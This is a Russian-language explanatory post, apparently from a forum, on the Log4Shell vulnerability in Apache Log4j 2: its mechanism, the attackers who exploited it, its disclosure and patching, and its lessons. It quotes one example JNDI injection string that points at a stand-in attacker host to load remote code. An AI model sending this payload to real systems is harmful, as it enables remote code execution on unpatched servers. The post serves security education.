Разбор уязвимости Log4Shell (CVE-2021-44228): Как баг в библиотеке Java потряс интернет

[Cloned Boy]

Log4Shell — одна из самых опасных уязвимостей в истории кибербезопасности, обнаруженная в декабре 2021 года в библиотеке Apache Log4j 2. Она позволяла злоумышленникам выполнять произвольный код на серверах, используя лишь строку лога.

Что такое Log4j и в чём была уязвимость?​

1. Что такое Log4j?​

• Популярная Java-библиотека для логирования (записи событий в приложениях).
• Используется в сервисах Apple, Amazon, Twitter, Minecraft, VMware и тысячах других.

2. Суть уязвимости​

• Уязвимость: CVE-2021-44228 (CVSS 10.0 — максимальная опасность).
• Проблема:
  • Log4j автоматически обрабатывала специальные строки вида ${jndi:ldap://attacker.com/exploit}.
  • При логировании такой строки сервер делал запрос к злоумышленнику и выполнял его код.

3. Как это работало?​

1. Хакер отправлял вредоносную строку (например, через ник в Minecraft или HTTP-заголовок).
2. Сервер логировал её через Log4j.
3. Библиотека делала запрос к LDAP-серверу хакера и загружала код.
4. На сервере запускался зловред (бэкдор, шифровальщик, бот).

Кто использовал Log4Shell?​

1. Киберпреступники​

• Ransomware-группы (Conti, REvil) атаковали корпорации.
• Криптомайнеры заражали серверы для добычи Monero.

2. Государственные хакеры​

• Китайские APT (например, Hafnium) атаковали США.
• Иранские хакеры взламывали вузы и больницы.

3. Скрипт-кидди​

Из-за простоты эксплуатации (есть готовые скрипты) уязвимость стала массовой.

Как обнаружили и закрыли уязвимость?​

1. Кто нашёл?​

• Исследователь Chen Zhaojun из Alibaba Cloud (Китай) в ноябре 2021.

2. Реакция Apache​

• 9 декабря 2021: Выпущен патч (Log4j 2.15.0).
• 17 декабря: Новые версии (2.16.0, 2.17.0) с дополнительными фиксами.

3. Сложности с исправлением​

• Миллионы серверов использовали Log4j (не все знали об этом).
• Вложенные зависимости (библиотека могла быть "спрятана" в других программах).

Последствия Log4Shell​

1. Глобальные взломы​

• Под ударом: Apple iCloud, Amazon AWS, Steam, Tesla, NASA.
• Убытки: $10+ млрд (оценка Check Point).

2. Изменения в IT-индустрии​

• Компании начали сканировать свои проекты на уязвимые зависимости.
• Java-разработчики стали осторожнее с логированием.

3. Уроки для безопасности​

• Даже библиотеки для логов могут быть опасны.
• Автоматическое обновление — обязательно.

Чему научил этот кейс?​

1. Одна строка кода может сломать весь интернет.
2. Open-source — это не только бесплатно, но и рискованно.
3. Кибербезопасность — это гонка со временем.

Хотите разбор другой уязвимости? Например, Heartbleed — как баг в OpenSSL поставил под угрозу пароли миллионов?